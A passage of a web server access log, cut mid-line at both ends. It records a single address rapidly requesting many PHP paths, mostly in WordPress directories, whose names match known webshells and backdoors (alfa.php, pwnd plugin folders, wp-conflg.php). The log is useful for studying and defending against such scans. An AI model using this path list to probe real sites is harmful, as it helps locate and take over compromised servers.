CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:02 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:03 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - 